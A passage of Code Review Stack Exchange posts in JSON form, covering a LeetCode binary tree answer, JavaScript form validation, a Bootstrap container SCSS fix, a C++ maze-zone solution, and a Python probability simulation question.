because they copy&pasted Java problems to C++ with minimal changes, and Java doesn't allow functions to be defined outside of a class.</p>\n<p>A compiler, when optimization is enabled, will probably generate very similar assembly in both cases.</p>\n<h1>Use a <code>std::bitset</code> to keep track of visited nodes</h1>\n<p>The problem says that there are only up to 501 unique nodes. That means you can use a <a href=\"https://en.cppreference.com/w/cpp/utility/bitset\" rel=\"nofollow noreferrer\"><code>std::bitset</code></a> to keep track of which nodes you visited. The bitset will only use 64 bytes, compare that to 8 bytes for a single <code>TreeNode *</code>, let alone all the other overhead of keeping an <code>std::unordered_set<TreeNode *></code>.</p>\n<h1>Try to avoid using a lot of memory</h1>\n<p>An issue with your algorithm, which otherwise looks very reasonable, is that you need to calculate the parents of all the nodes. Since you cannot store it in a <code>TreeNode</code> itself, you now have to keep an <code>unordered_map<TreeNode *, TreeNode *></code>, which takes up roughly as much space as the input.</p>\n<p>If you do a depth-first search, then when calling the DFS function recursively, you know the parent of the node you're recursing, so you can pass that to the function, like so:</p>\n<pre><code>void DFS(Node *node, Node *parent) {\n if (!node)\n return;\n\n // do something with node and/or parent\n\n DFS(node->left, node);\n DFS(node->right, node);\n}\n</code></pre>\n<p>The problem for you is that you want to start the DFS at the target node instead of at the root of the tree, so you don't know the parents of the target. However, you might be able to modify your algorithm to start from the root anyway, and then keep track of how far you had to descend to reach the target. Once you reach the target, you recurse down as usual, but when you're done you return upwards, where you should somehow signal that you've encountered the target, and then find nodes at distance K the other way. This might mean you have to visit parts of the tree twice though, but you already do that in your current algorithm.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:55:03.823",
"Id": "489760",
"Score": "0",
"body": "If you look at solution time distributions at LeetCode, for C++ you'll often see something like many solutions with 40 ms and longer, and a few taking just 4 ms. You think \"oh, those must have a really good algorithm\" and look at them, and then you see the only thing they do differently is that they have that `__optimize__` thing. So it does have an effect."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T11:51:04.590",
"Id": "489801",
"Score": "1",
"body": "Emma: Did it help with this problem? @HeapOverflow: if a solution goes from 40 to 4 ms with this optimization, I would say that means it is almost 100% I/O bound, and you are no longer measuring the performance of the algorithm itself."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:32:43.260",
"Id": "249771",
"ParentId": "249760",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249771",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:46:29.810",
"Id": "249760",
"Score": "1",
"Tags": [
"c++",
"beginner",
"algorithm",
"programming-challenge",
"comparative-review"
],
"Title": "LeetCode 863: All Nodes Distance K in Binary Tree"
}
|
249760
|
<p>Currently trying to learn to add in some validations, but only run 2nd validation after the 1st one is fully done and has no errors.</p>
<p>Just want to hear reviews regarding my current logic in my data validation.</p>
<ul>
<li>1st Validation checks for empty fields</li>
<li>2nd Validation (only to work after 1st validation is done) checks if value equals to <code>10</code>. If yes, then prompt with bootstrap message, to submit current data or go back.</li>
</ul>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
<div class="container mt-4">
<hr>
<h3>Form:</h3>
<form id="form" class="mt-4 mb-4" action="/reports_send/21-TEMP-01a" method="POST">
<div style="border: 1px solid black; padding: 40px; border-radius: 25px;">
<div class="container mt-4">
<div id="errors" class="mt-4 alert alert-danger" style="visibility: hidden">
<h4>Please complete all required fields</h4>
</div>
</div>
<h4>Select Room</h4>
<div id="RoomSelect">
<select id="RoomMenu" class="form-control mb-4">
{{!-- Drying Room 1 --}}
<option value="dry-1">Drying Room 1</option>
{{!-- Drying Room 2 --}}
<option value="dry-2">Drying Room 2</option>
{{!-- Dry Store--}}
<option value="dry-3">Dry Store</option>
</select>
</div>
<div id="RoomInputs">
{{!-- Drying Room 1 --}}
<div class="form-group" id="dry-1">
{{!-- Title --}}
<h4>Drying Room 1</h4>
{{!-- All temperatures --}}
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-1">
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-1">
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-1">
</div>
<br>
<br>
{{!-- All humidity --}}
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-humid-1">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-humid-1">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-humid-1">
</div>
</div>
{{!-- Drying Room 2 --}}
<div class="form-group" id="dry-2">
{{!-- Title --}}
<h4>Drying Room 2</h4>
{{!-- All temperatures --}}
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-2">
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-2">
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-2">
</div>
<br>
<br>
{{!-- All humidity --}}
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-humid-2">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-humid-2">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-humid-2">
</div>
</div>
{{!-- Dry Store --}}
<div class="form-group" id="dry-3">
{{!-- Title --}}
<h4>Dry Store</h4>
{{!-- All temperatures --}}
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-temp-3">
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-temp-3">
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-temp-3">
</div>
<br>
<br>
{{!-- All humidity --}}
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actual-humid-3">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="min-humid-3">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="max-humid-3">
</div>
</div>
<button id="submit-btn" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
</div>
{{!-- Errors --}}
<div id="myModal" class="modal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Targets not met</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<p>Some temperatures or humidity values have not met their targets</p>
<p>- Re-check or continue submitting current data.</p>
</div>
<div class="modal-footer">
<button id="submit-email" type="button" class="btn btn-primary">Submit</button>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<script>
// Store DOM Strings
var DOMStrings = {
room_options: '#RoomMenu'
};
// On selected option, show specific div element
showActiveElement = () => {
for(const option of document.querySelector(DOMStrings.room_options).options) {
document.querySelector(`#${option.value}`).style.display = "none";
}
if(document.querySelector(DOMStrings.room_options).value === 'dry-1') {
document.querySelector('#dry-1').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-2') {
document.querySelector('#dry-2').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-3') {
document.querySelector('#dry-3').style.display = "block";
}
}
// Show selected div element from options
document.querySelector(DOMStrings.room_options).addEventListener('change', () => {
showActiveElement();
});
// Validate data
document.getElementById("form").addEventListener("submit", (e) => {
const inputs = document.querySelectorAll('#form input');
let bool = true;
// Event listener activated after user submits the form
inputs.forEach((item) => {
if(item.value === "") {
bool = false;
e.preventDefault();
item.style.borderColor = 'red';
item.placeholder = "Required";
document.getElementById('errors').style.visibility = "visible";
} else {
item.style.borderColor = '#fff';
}
// On input - add event listener
item.addEventListener("input", (event) => {
if(item.value === "") {
e.preventDefault();
item.style.borderColor = 'red';
item.placeholder = "Required";
} else {
item.style.borderColor = '#fff';
}
});
});
if(bool == true) {
for (var i = 0; i < inputs.length; i++) {
if(inputs[i].name.startsWith("actual-temp") || inputs[i].name.startsWith("min-temp") || inputs[i].name.startsWith("max-temp")) {
validateActualTemp(parseFloat(inputs[i].value), inputs[i], e);
}
}
}
});
function validateActualTemp(value, item, e) {
if(value === '10') {
e.preventDefault();
item.style.backgroundColor = 'red';
$("#myModal").modal();
}
}
document.getElementById('submit-email').addEventListener('click', () => {
const form = document.getElementById('form');
form.submit();
});
// On load
window.onload = () => {
showActiveElement();
}
</script></code></pre>
</div>
</div>
</p>
|
[] |
[
{
"body": "<p>I think that, in the form submit event listener, you want to check if every input has a value different that an empty string.</p>\n<p>You can check if <em><a href=\"https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Array/every\" rel=\"nofollow noreferrer\">every</a></em> item of an array satisfies the return function expression, for example:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>[\"a\", \"b\", \"c\"].every(str => str !== \"\") // true\n[\"\", \"b\", \"c\"].every(str => str !== \"\") // false</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Also, you can check if <em><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some\" rel=\"nofollow noreferrer\">some</a></em> item of an array satisfies the function expression:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>[\"\", \"b\", \"c\"].some(str => str === \"\") // true\n[\"a\", \"b\", \"c\"].some(str => str === \"\") // false</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>But <code>inputs</code> is a <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/NodeList\" rel=\"nofollow noreferrer\">NodeList</a> and has not an <code>every</code> and <code>some</code> methods, which are <code>Array</code> methods. By other hand, a <code>NodeList</code> is an object that can be accessed by <code>index</code> and have a <code>length</code> propertie, that is, is an <code>array-like</code> object.</p>\n<p>When you have a case like this, you can reuse native implemented functions with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call\" rel=\"nofollow noreferrer\">Function.prototype.call</a>, like this:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const inputs = document.querySelectorAll('#form input');\nconst isEmpty = [].some.call(inputs, e => e.value === \"\");</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>But, in this case, <code>Array.prototype.empty</code> returns a Boolean, and you will need the empty inputs to style after.</p>\n<p>You can use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter\" rel=\"nofollow noreferrer\">Array.prototype.filter</a>, which return an array with every elements that satisfies the return function expression, for example:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>[1, 2, 3, 4, 5].filter(n => n > 3) // [ 4, 5 ]</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>In your case, maybe you can check the filtered inputs length:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const inputs = document.querySelectorAll('#form input');\nconst empty = [].filter.call(inputs, e => e.value === \"\");\n\nif(empty.length === 0) {\n // there's no empty inputs, continue with the validation\n} else {\n // here you can style the empty inputs\n}</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>Conclusion: you can reuse native implemented <code>Array</code> methods that solves your problem in <code>array-like</code> objects</p>\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this\" rel=\"nofollow noreferrer\">Useful link</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T13:56:47.047",
"Id": "489808",
"Score": "0",
"body": "On the last code - how do you style specific input that is empty?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T15:17:16.920",
"Id": "489820",
"Score": "1",
"body": "If there's empty inputs, they will be in `empty` array; I would make a CSS class to style invalid input and just do a forEach through `empty` adding this class"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T12:31:56.203",
"Id": "249788",
"ParentId": "249762",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249788",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:54:49.123",
"Id": "249762",
"Score": "2",
"Tags": [
"javascript"
],
"Title": "Double validation - but only show second validation after 1st one is complete in Javascript"
}
|
249762
|
<p>As is known, the <code>.container-</code> class in Bootstrap 4.x.x and 5-alpha has an bug in intermediate classes.</p>
<p>To give a little more detail,</p>
<p><strong>The</strong> <code>container</code> <strong>class of Bootstrap 5</strong></p>
<pre><code>.container,
.container-fluid,
.container-sm,
.container-md,
.container-lg,
.container-xl,
.container-xxl {
width: 100%;
padding-right: 1rem;
padding-left: 1rem;
margin-right: auto;
margin-left: auto; }
@media (min-width: 576px) {
.container, .container-sm {
max-width: 540px; } }
@media (min-width: 768px) {
.container, .container-sm, .container-md {
max-width: 720px; } }
@media (min-width: 992px) {
.container, .container-sm, .container-md, .container-lg {
max-width: 960px; } }
@media (min-width: 1200px) {
.container, .container-sm, .container-md, .container-lg, .container-xl {
max-width: 1140px; } }
@media (min-width: 1600px) {
.container, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl {
max-width: 1440px; } }
</code></pre>
<p>So for example if I choose the following class</p>
<p><code><div class="container-md"></div></code>, the behavior of the width will be as follows.</p>
<pre><code>screen | container
--------------------------------------------------------
768 or up | 720px
720 < and < 768 | More than 720px and === screen size
720 or down | Less than 720px and === screen size
</code></pre>
<p>The expected behavior here is to keep the max-width: 720px value while the screen size decreases from 768 to 720 pixels. However, the current situation causes a jump in width value.</p>
<p><strong>Below is the scss coding of bootstrap 5.</strong></p>
<pre><code> // Responsive containers that are 100% wide until a breakpoint
@each $breakpoint, $container-max-width in $container-max-widths {
.container-#{$breakpoint} {
@extend .container-fluid;
}
@include media-breakpoint-up($breakpoint, $grid-breakpoints) {
%responsive-container-#{$breakpoint} {
max-width: $container-max-width;
}
// Extend each breakpoint which is smaller or equal to the current breakpoint
$extend-breakpoint: true;
@each $name, $width in $grid-breakpoints {
@if ($extend-breakpoint) {
.container#{breakpoint-infix($name, $grid-breakpoints)} {
@extend %responsive-container-#{$breakpoint};
}
// Once the current breakpoint is reached, stop extending
@if ($breakpoint == $name) {
$extend-breakpoint: false;
}
}
}
}
}
</code></pre>
<p>The part I added to this code is below.</p>
<pre><code>@each $name, $width in $container-max-widths
{
@include media-breakpoint-down($name, $grid-breakpoints)
{
%responsive-container-down-#{$name} {
max-width: $width;
}
.container#{breakpoint-infix($name, $grid-breakpoints)} {
@extend %responsive-container-down-#{$name};
}
}
}
</code></pre>
<p>The resulting css file is like this.</p>
<pre><code>.container,
.container-fluid,
.container-sm,
.container-md,
.container-lg,
.container-xl,
.container-xxl {
width: 100%;
padding-right: 1rem;
padding-left: 1rem;
margin-right: auto;
margin-left: auto; }
@media (min-width: 576px) {
.container, .container-sm {
max-width: 540px; } }
@media (min-width: 768px) {
.container, .container-sm, .container-md {
max-width: 720px; } }
@media (min-width: 992px) {
.container, .container-sm, .container-md, .container-lg {
max-width: 960px; } }
@media (min-width: 1200px) {
.container, .container-sm, .container-md, .container-lg, .container-xl {
max-width: 1140px; } }
@media (min-width: 1600px) {
.container, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl {
max-width: 1440px; } }
@media (max-width: 575.98px) {
.container-sm {
max-width: 540px; } }
@media (max-width: 767.98px) {
.container-md {
max-width: 720px; } }
@media (max-width: 991.98px) {
.container-lg {
max-width: 960px; } }
@media (max-width: 1199.98px) {
.container-xl {
max-width: 1140px; } }
@media (max-width: 1599.98px) {
.container-xxl {
max-width: 1440px; } }
</code></pre>
<p>Thus, it is aimed to prevent the bug in between. Can you rate the code?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:57:26.653",
"Id": "489747",
"Score": "0",
"body": "What do you mean by rate the code?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:11:34.023",
"Id": "249763",
"Score": "1",
"Tags": [
"css",
"sass"
],
"Title": "Bootstrap container layout system bug"
}
|
249763
|
<p>Follow up to this question: <a href="https://codereview.stackexchange.com/q/249628/507">10 Kinds of People Open Kattis Problem Time Limit Exceeded C++</a></p>
<p>Solves the puzzle linked in that question.</p>
<p>I use <code>Dijkstra</code> algorithm to find items.<br />
The only twist is that each time I do a search I save the boundary list of the search in a <code>Zone</code>. On a subsequent search if my current "Zone" bumps into an existing Zone I merge the boundary lists and make the old zone point at the current zone.</p>
<p>The searched squares are stored directly on the map 0 or 1 mean original value while any value >= 100 means a zone number (subtract 100 to get the zone). You can then use this value in the <code>zoneMap</code> (if zones clide this keeps the mapping upto date) to get the zone it belongs to.</p>
<p>I tried <code>A*</code> but for a problem space this small it doubles the time as you need to keep an ordered list to know which item to search for next. You can see the remininest of the <code>A*</code> stuff in the <code>Zone</code> class as commented out parts to keep the boundary list sorted.</p>
<pre><code>#include <utility>
#include <vector>
#include <queue>
#include <map>
#include <iostream>
#include <functional>
struct Point: public std::pair<int, int>
{
friend std::istream& operator>>(std::istream& str, Point& dst)
{
return str >> dst.first >> dst.second;
}
friend std::ostream& operator<<(std::ostream& str, Point const& src)
{
return str << "[" << src.first << "," << src.second << "] ";
}
};
class Zone
{
Point dst;
char type;
int id;
std::vector<Point> boundry;
int distsq(Point const& p) const
{
int x = std::abs(p.first - dst.first);
int y = std::abs(p.second - dst.second);
return x * x + y * y;
}
bool order(Point const& lhs, Point const& rhs) const
{
return distsq(lhs) > distsq(rhs);
}
public:
Zone(char type, int id, Point dst)
: type(type)
, id(id)
, dst(dst)
{}
char getType() const {return type;}
int getId() const {return id;}
void updateDestination(Point const& d)
{
using namespace std::placeholders;
dst = d;
//std::make_heap(std::begin(boundry), std::end(boundry), std::bind(&Zone::order, this, _1, _2));
}
bool empty() const {return boundry.empty();}
void push(Point const& p)
{
using namespace std::placeholders;
boundry.emplace_back(p);
//std::push_heap(std::begin(boundry), std::end(boundry), std::bind(&Zone::order, this, _1, _2));
}
void pop()
{
using namespace std::placeholders;
//std::pop_heap(std::begin(boundry), std::end(boundry), std::bind(&Zone::order, this, _1, _2));
boundry.pop_back();
}
Point top() {return boundry./*front*/back();}
void addZoneBoundry(Zone const& src)
{
boundry.reserve(boundry.size() + src.boundry.size());
using namespace std::placeholders;
for (auto const& p: src.boundry) {
boundry.emplace_back(p);
//std::push_heap(std::begin(boundry), std::end(boundry), std::bind(&Zone::order, this, _1, _2));
}
}
};
class Maze
{
std::vector<std::vector<int>> maze;
std::vector<Zone> zoneInfo;
std::map<int, int> zoneMap;
public:
Maze()
{
zoneInfo.reserve(1000);
}
void clear()
{
maze.clear();
zoneInfo.clear();
zoneMap.clear();
}
std::istream& read(std::istream& str)
{
clear();
int r;
int c;
str >> r >> c;
str.ignore(-1, '\n');
maze.resize(r);
std::string line;
for(int loopY = 0; loopY < r; ++loopY)
{
maze[loopY].resize(c);
for(int loopX = 0; loopX < c; ++loopX)
{
char v;
str >> v;
maze[loopY][loopX] = v - '0';
}
}
return str;
}
int const& loc(Point const& point) const {return maze[point.first - 1][point.second - 1];}
int& loc(Point const& point) {return maze[point.first - 1][point.second - 1];}
char type(Point const& point) const
{
int l = loc(point);
if (l < 100) {
return l + '0';
}
return zoneInfo[zone(point)].getType();
}
int zone(Point const& point) const
{
int l = loc(point);
if (l < 100) {
return -1;
}
auto find = zoneMap.find(l - 100);
return find->second;
}
Zone& getCurrentZone(Point const& point, Point const& dst)
{
int l = loc(point);
if (l >= 100) {
l = zoneMap[l - 100];
zoneInfo[l].updateDestination(dst);
return zoneInfo[l];
}
zoneMap[zoneInfo.size()] = zoneInfo.size();
zoneInfo.emplace_back(type(point), zoneInfo.size(), dst);
Zone& cZ = zoneInfo.back();
loc(point) = cZ.getId() + 100;
cZ.push(point);
return cZ;
}
void tryAdding(Zone& cZ, Point const& next, int v, int h)
{
Point point = next;
point.first += v;
point.second += h;
if (point.first <= 0 || point.first > maze.size() ||
point.second <= 0 || point.second > maze[0].size() ||
type(point) != cZ.getType())
{
return;
}
int l = loc(point);
if (l < 100)
{
loc(point) = cZ.getId() + 100;
cZ.push(point);
}
else
{
int currentDest = zoneMap[l - 100];
if (currentDest != cZ.getId())
{
for(auto& item: zoneMap) {
if (item.second == currentDest) {
item.second = cZ.getId();
}
}
cZ.addZoneBoundry(zoneInfo[currentDest]);
}
}
}
// Basically Dijkstra algorithm,
// Returns '0' '1' if the src and dst are the same type and can be reached.
// returns another letter for a failure to connect.
char route(Point const& src, Point& dst)
{
// The zone contains the boundry list.
// If the src already exists in a searched zone then
// re-use the zone and boundary list so we don't have
// to repeat any work.
Zone& cZ = getCurrentZone(src, dst);
// Different types immediately fails.
if (type(dst) != cZ.getType()) {
return 'F';
}
// If we know that both points are in the same zone.
// We don't need to expand the boundary and simply return.
if (zone(dst) == cZ.getId()) {
return cZ.getType();
}
// Otherwise expand the boundary until both
// points are in the zone or we can't expand anymore.
while(!cZ.empty())
{
Point next = cZ.top();
if (next == dst) {
// next location is the destination we have
// confirmed we can get from source to dest.
return cZ.getType();
}
// Only remove next if we are going to expand.
cZ.pop();
tryAdding(cZ, next, -1, 0);
tryAdding(cZ, next, +1, 0);
tryAdding(cZ, next, 0, -1);
tryAdding(cZ, next, 0, +1);
// This extra check is needed because
// zones may have been combined. Thus it checks
// to see if the two points are now in the same zone
// after combining zones.
if (zone(dst) == cZ.getId()) {
return cZ.getType();
}
}
return 'F';
}
friend std::istream& operator>>(std::istream& str, Maze& dst)
{
return dst.read(str);
}
};
int main()
{
Maze maze;
std::cin >> maze;
int count;
std::cin >> count;
Point src;
Point dst;
for(int loop = 0;loop < count; ++loop)
{
std::cin >> src >> dst;
switch (maze.route(src, dst))
{
case '0': std::cout << "binary\n";break;
case '1': std::cout << "decimal\n";break;
default:
std::cout << "neither\n";
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T19:14:51.377",
"Id": "489839",
"Score": "1",
"body": "This doesn't seem to compile: `zoneInfo[zone(point)].getType();` what's `zone`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T00:06:25.940",
"Id": "489857",
"Score": "2",
"body": "@user673679: Opps. I must of accidentally deleted the method `zone()` while I was tidying up and adding comments. I have put it back. It now compiles."
}
] |
[
{
"body": "<p>So from a small glance this looks good</p>\n<p>I would have gone with a union-find structure but I think it is a neat idea to store in the map.</p>\n<p>There are some things I would like to improve:</p>\n<ol>\n<li><p>You are missing [[nodiscard]] throughout, which I believe should be used nowadays.</p>\n</li>\n<li><p>Formatting is a bit off for me. A few newlines here and there could help a lot with readability.</p>\n</li>\n<li><p>Your manhatten distance function can be improved</p>\n<pre><code>int distsq(Point const& p) const {\n int x = std::abs(p.first - dst.first);\n int y = std::abs(p.second - dst.second);\n return x * x + y * y;\n}\n</code></pre>\n<p>First, both <code>x</code> and <code>y</code> could be const.\nSecond, the names are too short. <code>distance_x</code> or whatever would be better\nThird, you do not need the call to <code>std::abs</code> as a negative sign would cancel each other out.\nFourth, your Point structure is cheap so I would suggest to pass it by value. This comes with a grain of salt should one need to use other types later on.</p>\n<pre><code>[[nodiscard]] int distsq(Point const p) const {\n const int distance_x = p.first - dst.first;\n const int distance_y = p.second - dst.second ;\n return distance_x * distance_x + distance_y * distance_y;\n}\n</code></pre>\n</li>\n</ol>\n<p>Need to go, will return later</p>\n<p>EDIT</p>\n<hr />\n<p>I said I like the approach with the zone. However, I believe you might be better off storing the zone in the map itself.</p>\n<p>According to the Problem statement the maximal size of the grid is 1000 x 1000. This means there are at max 1'000'000 possible zones.</p>\n<p>Using an unsigned integer and encoding the map in the MSB you could then store the index of the zone in the 31 lower bits. So with each start you could use a new zone and merge them via a union-find data structure.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:59:46.420",
"Id": "489761",
"Score": "0",
"body": "But there will only be a maximum of 1000 searches. A maximum of one zone is created on each search so we will have a maximum of 1000 zones. Though likely a lot less."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T12:06:00.743",
"Id": "490100",
"Score": "0",
"body": "@MartinYork Does that change the approach of using an unsigned integer and storing the zones it belings to in the lower bits? The number of possible zones would only affect the size of the integer, e.g. uint16_t or uint32_t"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:44:32.097",
"Id": "249766",
"ParentId": "249764",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249766",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:18:31.473",
"Id": "249764",
"Score": "5",
"Tags": [
"c++",
"programming-challenge"
],
"Title": "10 Kinds of People"
}
|
249764
|
<p>I wrote this code. But it works very slowly.</p>
<p>I'm figuring out how many times I have to run the case generator to find numbers less than or equal to inv, in this case six. I count the number of attempts until a digit <= 6 is generated. I find inv equal to 1 and repeat the loop. Until inv is 0. I will keep trying to generate six digits <= 6.</p>
<p>And I will repeat all this 10 ** 4 degrees again to find the arithmetic mean.</p>
<p>Help me speed up this code. Works extremely slowly. <strong>The solution should be without third-party modules.</strong> I would be immensely grateful. Thank!</p>
<pre><code>import random
inv = 6
def math_count(inv):
n = 10**4
counter = 0
while n != 0:
invers = inv
count = 0
while invers > 0:
count += 1
random_digit = random.randint(1, 45)
if random_digit <= invers:
invers -= 1
counter += count
count = 0
if invers == 0:
n -= 1
invers = inv
return print(counter/10**4)
math_count(inv)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:57:13.493",
"Id": "489753",
"Score": "0",
"body": "Why do you need \"invers = inv\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T21:12:01.413",
"Id": "489755",
"Score": "0",
"body": "First, the invers is equal to inv. After the cycles, the invers is 0. And then I again assign the inv value to it"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T21:50:52.743",
"Id": "489758",
"Score": "3",
"body": "I don't really understand what you're trying to do. Please could you clarify. It looks like you basically have a relatively simple probability question, it likely has a closed form which you can use to avoid all this looping."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:59:48.597",
"Id": "489762",
"Score": "1",
"body": "@Countingstuff If I have reverse engineered the OP's code correctly, it's doing this: `def math_count(inv, trials = 10000): return sum(attempts_to_get_lte(x) for n in range(trials, 0, -1) for x in range(inv, 0, -1)) / trials`, where `trials = 10000` and `attempts_to_get_lte()` is a simple function that computes how many attempts are needed until `random.randint(1, 45) <= x`. So, one answer to the OP's question is *Use fewer trials for the estimate*. Another answer, as you note, is *Use math to get the answer immediately*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T23:29:30.883",
"Id": "489764",
"Score": "0",
"body": "Aha, yes that looks correct based on the numbers. And in that case, yes it is simply a matter of working out a closed form for the limit of (attempts_to_get_lte(x) over n attempts / n), from which a closed form of the full expression will follow. Which is simple as for x in 1..45 it's just the expected number of flips of a biased coin to get a tail with probability x / 45 of getting a tail."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:34:50.397",
"Id": "489814",
"Score": "0",
"body": "the indentation looks wrong in that code"
}
] |
[
{
"body": "<p>The code is very hard to follow. Here's a possible refactor to make its intent\nclearer. Some key ideas in the simplification: (1) use loops to manage counters\nrather than manually incrementing/decrementing; (2) use more\nmeaningful variable names when context isn't clear; and (3) delegate some of\nthe complexity to a helper function. The third idea is the most impactful: the\nhelper function is simple because it does so little; and the main function,\nhaving been relieved of a burden, is simpler as well -- so simple, in\nfact, that it boils down to computing a sum over two loops.</p>\n<pre><code>def math_count(inv, trials = 10000):\n total_attempts = sum(\n attempts_to_get_lte(x)\n for _ in range(trials, 0, -1)\n for x in range(inv, 0, -1)\n )\n return total_attempts / trials\n\ndef attempts_to_get_lte(x):\n attempts = 0\n while True:\n attempts += 1\n if random.randint(1, 45) <= x:\n return attempts\n</code></pre>\n<p>But <code>attempts_to_get_lte()</code> is an easily solved probability problem: rather\nthan have Python simulate the manual flipping of coins, we can just do a little\nmath. If you prefer that approach, I believe the following is correct\n(probability experts should 